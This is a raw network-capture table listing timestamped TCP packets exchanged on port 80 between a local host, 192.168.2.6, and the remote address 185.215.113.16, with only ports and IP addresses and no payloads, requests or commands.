Oct 24, 2024 09:07:25.872071981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872076035 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.872112036 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.872139931 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872158051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872170925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872200012 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.872309923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872320890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872340918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872349977 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.872351885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872423887 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.872427940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872473001 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.872494936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872504950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872550011 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.872560024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872570038 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872620106 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.872644901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872656107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872694969 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.872798920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872809887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872821093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872855902 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.872864008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872874975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872884989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872905970 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.872906923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872929096 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.872939110 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.872981071 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.873003960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.873074055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.873084068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.873106003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.873112917 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.873141050 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.873162031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.873172045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.873219013 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.916439056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.916455984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.916462898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.916493893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.916503906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.916611910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.916621923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.916636944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.916690111 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.916691065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.916691065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.916691065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.916718960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.916731119 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.916742086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.916799068 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.916830063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.916841984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.916874886 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.916888952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.916901112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917041063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917047024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917052984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917057991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917064905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917136908 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.917166948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917190075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917232037 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.917274952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917284966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917295933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917326927 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.917437077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917447090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917458057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917468071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917479992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917480946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.917490005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917503119 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.917529106 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.917624950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917669058 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.917676926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917687893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917727947 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.917768955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917778969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.917824984 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.988446951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.988467932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.988533974 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.229950905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.229990959 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230021000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230071068 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.230077982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230096102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230115891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230134010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230149984 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.230156898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230175018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.230175972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230209112 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.230307102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230324030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230343103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230360031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230379105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230395079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230412006 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.230413914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230432034 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.230432987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230473042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230504990 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.230535984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230568886 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.230654001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230670929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230689049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230714083 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230719090 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.230731964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230751991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230756998 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.230782986 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.230812073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.230828047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231023073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231025934 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.231039047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231057882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231070042 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.231076002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231105089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231121063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231132984 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.231137037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231169939 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.231169939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231185913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231190920 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.231199026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231210947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231224060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231236935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231249094 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.231249094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231249094 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.231264114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231276989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231287956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231298923 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.231348991 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.231348991 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.231481075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231654882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231683016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231698990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231724024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231729031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.231729031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.231741905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231765032 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231772900 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.231784105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231805086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231822968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231842041 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231854916 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.231868982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231882095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231894016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231894016 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.231905937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231919050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231933117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231945038 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231947899 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.231947899 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.231956959 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231970072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231982946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.231993914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232000113 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.232006073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232007980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232031107 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.232031107 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.232321978 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.232554913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232572079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232589960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232605934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232623100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232637882 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.232637882 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.232640028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232657909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232666016 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.232688904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232705116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232718945 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.232722998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232741117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232755899 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.232758045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232778072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232790947 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.232795954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232814074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.232832909 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.232991934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233006954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233021021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233026028 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.233038902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233057976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233076096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233086109 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.233086109 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.233093977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233112097 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233127117 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.233130932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233166933 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.233409882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233443975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233457088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233469009 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233541965 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.233541965 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.233613014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233645916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233660936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233675003 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.233679056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233695984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233706951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.233715057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233731031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233748913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233762980 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.233776093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233783007 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.233793974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233809948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233828068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233829975 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.233845949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233854055 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.233865023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233882904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233897924 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.233901024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233920097 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233932972 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.233937025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233957052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233971119 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.233973980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.233995914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234006882 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.234325886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234344006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234361887 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.234568119 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234596014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234597921 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.234611988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234631062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234647036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234661102 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.234664917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234682083 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.234683037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234699965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234714031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.234716892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234735012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234747887 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.234750986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234832048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234848022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234867096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234884024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234893084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.234901905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234920979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234934092 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.234937906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234956980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234968901 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.234976053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.234988928 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.234993935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235012054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235032082 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235045910 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.235065937 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.235472918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235488892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235507965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235524893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235543013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235573053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235574961 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.235585928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235598087 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.235604048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235622883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235636950 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.235640049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235657930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235675097 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235677958 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.235692978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235699892 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.235712051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235733032 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235743046 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.235749960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235769033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235783100 CEST	49772	80	192.168.2.6	185.215.113.16
